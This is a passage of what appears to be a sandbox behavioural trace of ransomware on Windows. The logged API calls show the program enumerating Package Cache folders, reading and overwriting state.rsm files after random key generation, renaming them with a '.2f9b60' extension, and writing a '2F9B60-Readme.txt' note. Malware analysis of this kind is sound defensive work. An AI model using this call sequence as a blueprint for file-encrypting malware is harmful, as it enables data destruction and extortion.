Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" [0091.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b8e0 [0091.449] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86730 [0091.449] wcscmp (_String1=".", _String2=".") returned 0 [0091.449] FindNextFileW (in: hFindFile=0x1cd86730, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.449] wcscmp (_String1="..", _String2=".") returned 1 [0091.449] wcscmp (_String1="..", _String2="..") returned 0 [0091.449] FindNextFileW (in: hFindFile=0x1cd86730, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0091.449] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0091.449] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0091.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b798260 [0091.450] wcscpy (in: _Dest=0x1b798260, _Source="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0091.450] wcscat (in: _Dest=0x1b798260, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\" [0091.450] wcscat (in: _Dest=0x1b798260, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" [0096.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b798260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda4 [0096.843] FindNextFileW (in: hFindFile=0x1cd86730, lpFindFileData=0x1cd9b8e0 | out: lpFindFileData=0x1cd9b8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0096.843] FindClose (in: hFindFile=0x1cd86730 | out: hFindFile=0x1cd86730) returned 1 [0096.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b8e0) returned 1 [0096.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107000) returned 1 [0096.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 Thread: id = 463 os_tid = 0x51c [0091.451] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm")) returned 0x20 [0091.451] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", dwFileAttributes=0x20) returned 1 [0091.452] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0091.452] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x2088f8c0 | out: lpFileSize=0x2088f8c0*=654) returned 1 [0091.452] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x28a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.452] ReadFile (in: hFile=0xdac, lpBuffer=0x2088f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2088f888, lpOverlapped=0x0 | out: lpBuffer=0x2088f840*, lpNumberOfBytesRead=0x2088f888*=0x4, lpOverlapped=0x0) returned 1 [0091.453] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0091.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0091.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0091.453] NtQuerySystemTime (in: CurrentTime=0x2088f780 | out: CurrentTime=0x2088f780*=132462176973046000) returned 0x0 [0091.453] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x7025d754 [0091.453] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x3967a97 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0xb4e8163 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x363838b3 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x3c27e778 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x3f6b6125 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x333ca987 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0xe14793c [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x6796ab89 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x1432e4b7 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x227b324 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x2b76e7c7 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x46968996 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0xcf51af1 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x5d13aa82 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x45f34902 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x722621c3 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x6ae1ef9e [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x4490d43d [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x1bd533f7 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x5790f21d [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x7cf0a496 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x39c299da [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x6ae5c0b3 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x117f1c3c [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x5031f375 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x35feccb5 [0091.454] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x46547a67 [0091.455] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x6bc3631e [0091.455] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0xa732b21 [0091.455] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x15a7f7ea [0091.455] RtlRandomEx (in: Seed=0x2088f770 | out: Seed=0x2088f770) returned 0x59221d2 [0091.463] ReadFile (in: hFile=0xdac, lpBuffer=0x201885a0, nNumberOfBytesToRead=0x28e, lpNumberOfBytesRead=0x2088f770, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesRead=0x2088f770*=0x28e, lpOverlapped=0x0) returned 1 [0091.463] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.463] WriteFile (in: hFile=0xdac, lpBuffer=0x2018c1b0*, nNumberOfBytesToWrite=0x28e, lpNumberOfBytesWritten=0x2088f774, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesWritten=0x2088f774*=0x28e, lpOverlapped=0x0) returned 1 [0091.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7470 [0091.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0091.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0091.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0091.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0091.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0091.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0091.719] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.719] WriteFile (in: hFile=0xdac, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2088f890, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x2088f890*=0x104, lpOverlapped=0x0) returned 1 [0091.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0091.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0091.762] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0091.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0091.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0091.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0091.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aab0) returned 1 [0091.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0091.763] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b82aab0 [0091.763] sprintf (in: _Dest=0x1b82aab0, _Format="%c%c" | out: _Dest="66") returned 2 [0091.763] sprintf (in: _Dest=0x1b82aab2, _Format="%c%c" | out: _Dest="5e") returned 2 [0091.763] sprintf (in: _Dest=0x1b82aab4, _Format="%c%c" | out: _Dest="97") returned 2 [0091.763] sprintf (in: _Dest=0x1b82aab6, _Format="%c%c" | out: _Dest="e1") returned 2 [0091.763] sprintf (in: _Dest=0x1b82aab8, _Format="%c%c" | out: _Dest="2a") returned 2 [0091.763] sprintf (in: _Dest=0x1b82aaba, _Format="%c%c" | out: _Dest="79") returned 2 [0091.763] sprintf (in: _Dest=0x1b82aabc, _Format="%c%c" | out: _Dest="c4") returned 2 [0091.763] sprintf (in: _Dest=0x1b82aabe, _Format="%c%c" | out: _Dest="ad") returned 2 [0091.763] sprintf (in: _Dest=0x1b82aac0, _Format="%c%c" | out: _Dest="4d") returned 2 [0091.763] sprintf (in: _Dest=0x1b82aac2, _Format="%c%c" | out: _Dest="31") returned 2 [0091.763] sprintf (in: _Dest=0x1b82aac4, _Format="%c%c" | out: _Dest="2f") returned 2 [0091.764] sprintf (in: _Dest=0x1b82aac6, _Format="%c%c" | out: _Dest="79") returned 2 [0091.764] sprintf (in: _Dest=0x1b82aac8, _Format="%c%c" | out: _Dest="dd") returned 2 [0091.764] sprintf (in: _Dest=0x1b82aaca, _Format="%c%c" | out: _Dest="0c") returned 2 [0091.764] sprintf (in: _Dest=0x1b82aacc, _Format="%c%c" | out: _Dest="12") returned 2 [0091.764] sprintf (in: _Dest=0x1b82aace, _Format="%c%c" | out: _Dest="1e") returned 2 [0091.764] sprintf (in: _Dest=0x1b82aad0, _Format="%c%c" | out: _Dest="0c") returned 2 [0091.764] sprintf (in: _Dest=0x1b82aad2, _Format="%c%c" | out: _Dest="02") returned 2 [0091.764] RtlInitAnsiString (in: DestinationString=0x2088f908, SourceString="665e97e12a79c4ad4d312f79dd0c121e0c02" | out: DestinationString="665e97e12a79c4ad4d312f79dd0c121e0c02") [0091.764] RtlAnsiStringToUnicodeString (in: DestinationString=0x2088f8d8, SourceString="665e97e12a79c4ad4d312f79dd0c121e0c02", AllocateDestinationString=1 | out: DestinationString="665e97e12a79c4ad4d312f79dd0c121e0c02") returned 0x0 [0091.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d030 [0091.764] wcscat (in: _Dest=0x107b40, _Source="665e97e12" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12" [0091.765] wcscat (in: _Dest=0x107b40, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60" [0091.765] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60", NtPathName=0x2088f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118540 [0091.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 [0091.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46ec0) returned 1 [0091.779] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x2088f918, FileInformation=0x2088f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2088f918, FileInformation=0x2088f928) returned 0x0 [0091.779] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x2088f918, FileInformation=0x2088f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0091.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d030) returned 1 [0091.792] FlushFileBuffers (hFile=0xdac) returned 1 [0091.797] CloseHandle (hObject=0xdac) returned 1 [0091.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1079c0 [0091.814] wcscpy (in: _Dest=0x1079c0, _Source="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\" [0091.814] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\2F9B60-Readme.txt" [0091.814] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\2f9b60-readme.txt")) returned 0xffffffff [0091.814] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd34 [0091.894] WriteFile (in: hFile=0xd34, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2088f7d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2088f7d0*=0xba9, lpOverlapped=0x0) returned 1 [0091.895] CloseHandle (hObject=0xd34) returned 1 [0091.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0091.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5bd0) returned 1 Thread: id = 464 os_tid = 0x7a4 [0091.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x1070c0 [0091.490] wcscpy (in: _Dest=0x1070c0, _Source="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0091.490] wcscat (in: _Dest=0x1070c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\" [0091.490] wcscat (in: _Dest=0x1070c0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" [0091.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b670 [0091.490] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86670 [0091.491] wcscmp (_String1=".", _String2=".") returned 0 [0091.491] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.491] wcscmp (_String1="..", _String2=".") returned 1 [0091.491] wcscmp (_String1="..", _String2="..") returned 0 [0091.491] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0091.491] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0091.491] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0091.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe4) returned 0x1b798170 [0091.491] wcscpy (in: _Dest=0x1b798170, _Source="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0091.491] wcscat (in: _Dest=0x1b798170, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\" [0091.491] wcscat (in: _Dest=0x1b798170, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" [0096.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b798170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda8 [0096.845] FindNextFileW (in: hFindFile=0x1cd86670, lpFindFileData=0x1cd9b670 | out: lpFindFileData=0x1cd9b670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0096.845] FindClose (in: hFindFile=0x1cd86670 | out: hFindFile=0x1cd86670) returned 1 [0096.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b670) returned 1 [0096.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1070c0) returned 1 [0096.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106580) returned 1 Thread: id = 465 os_tid = 0x20c [0091.492] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm")) returned 0x20 [0091.493] SetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", dwFileAttributes=0x20) returned 1 [0091.493] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdb4 [0091.493] GetFileSizeEx (in: hFile=0xdb4, lpFileSize=0x1e98f6a0 | out: lpFileSize=0x1e98f6a0*=666) returned 1 [0091.493] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x296, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.493] ReadFile (in: hFile=0xdb4, lpBuffer=0x1e98f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e98f668, lpOverlapped=0x0 | out: lpBuffer=0x1e98f620*, lpNumberOfBytesRead=0x1e98f668*=0x4, lpOverlapped=0x0) returned 1 [0091.494] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced78c0 [0091.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7920 [0091.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79b0 [0091.495] NtQuerySystemTime (in: CurrentTime=0x1e98f560 | out: CurrentTime=0x1e98f560*=132462176973514000) returned 0x0 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: 